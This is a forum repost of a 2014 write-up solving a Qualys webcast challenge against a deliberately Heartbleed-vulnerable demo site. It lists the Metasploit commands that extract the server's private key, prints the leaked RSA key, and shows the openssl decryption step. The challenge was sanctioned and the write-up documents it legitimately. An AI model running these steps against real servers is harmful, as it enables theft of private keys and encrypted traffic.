Nytro Posted May 1, 2014 Report Posted May 1, 2014 [h=2]“A Post-Mortem on Heartbleed" webcast - challenge solved[/h]I hope this is the right place to post this.Last week Qualys presented on a webcast:“A Post-Mortem on Heartbleed - What Worked and What Didn't: Real-world case study on how the State of Colorado responded to this critical vulnerability.”https://www.qualys.com/forms/webcasts/heartbleed/?leadsource=17265983For this presentation they stood up a website that is vulnerable to the Heartbleed bug and put out a challenge to get the private keys, the encrypted file, and decrypt the file for a prize. Here are the steps I used to get that prize.Go to the website and register to login and get the "secret file" --note: don't use a real username or password because it can be visible while exploiting the bug. Register @ https://hbdemo.kandek.com/After registering to the site and logging in I was able to download the “Secret” encrypted file and save it locally for use later. Download https://hbdemo.kandek.com/supersecret.txt.enc Next we move on to exploiting the vulnerability in the site.using metasploit-framework on ubuntu 12.04> sudo ./msfconsole> use auxiliary/scanner/ssl/openssl_heartbleed > set RHOSTS hbdemo.kandek.com> set RPORT 443> set VERBOSITY true> set ACTION KEYS> runIn only a few seconds I had my answer.-----BEGIN RSA PRIVATE KEY-----MIIEpAIBAAKCAQEAsJVkN8MW8jpjLwz8YwWMk+Xhvk6Dz/0neLkAXZFAmtgnZsKyNOHotstIlp5+ehf1Skf+WdrKLvATe8RpG7IOtvkO/gQnOnGT6nefNMRQG8Riw0MSOpFUdNwLrXQnptStDtBTUFq+cY8w1ChRw4PBDjLq/3sKdSxARYDiZNUJ0RlXKfJkDlXi1JEOICvsoYuY7Z5CjHjy2rMck+Xu0d5L0KWGcqGNsdjdtE/NhhOzsvXq/n8TaPySSfHL5Xh9B9LsAb2evOV8t9bs2l7ASU76/sLTho8VFb9pohluHwGmWQuGaIpxE/ZjheV4XW2cGiJmf79ccwcjdz8plzWGd66gkQIDAQABAoIBAE5enxHYdbCflTFmlATmi5OALQYnFn0Sn5gGk1DzjDasxB/pPOoXcQ7ffaHLSdqqE2UaOppqbd0TE7KUYwm1pq4yLyMxeK+JhNpEqNXkYqFQMXzzoX14zoDmwBAFQyvZq8ytTKyW+Xqw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Qb9NPRlM2WqKZNw==-----END RSA PRIVATE KEY-----save file as hbdemo.keyNow decrypt the secret file using the private key.> cat supersecret.txt.enc | openssl rsautl -decrypt -inkey hbdemo.key results:> Darth Vader is Luke's father. The next part was funny, I didn't remember where they said to send the answer to so I reached out to people I know to ask if they knew Wolfgang and I was able to get his phone number. On his voice mail I was able to get his email address and that is where I sent the answer to. I also posted out to twitter and he responded to me with his email (but I had already send the answer by that time).I just want to say thank you to Wolfgang and the Qualys team for doing the webcast and adding a challenge to it also. It made it interactive and fun. I hope they do this more in future webcasts.Author: jcheuvrontSursa: https://community.qualys.com/message/22793#22793 Quote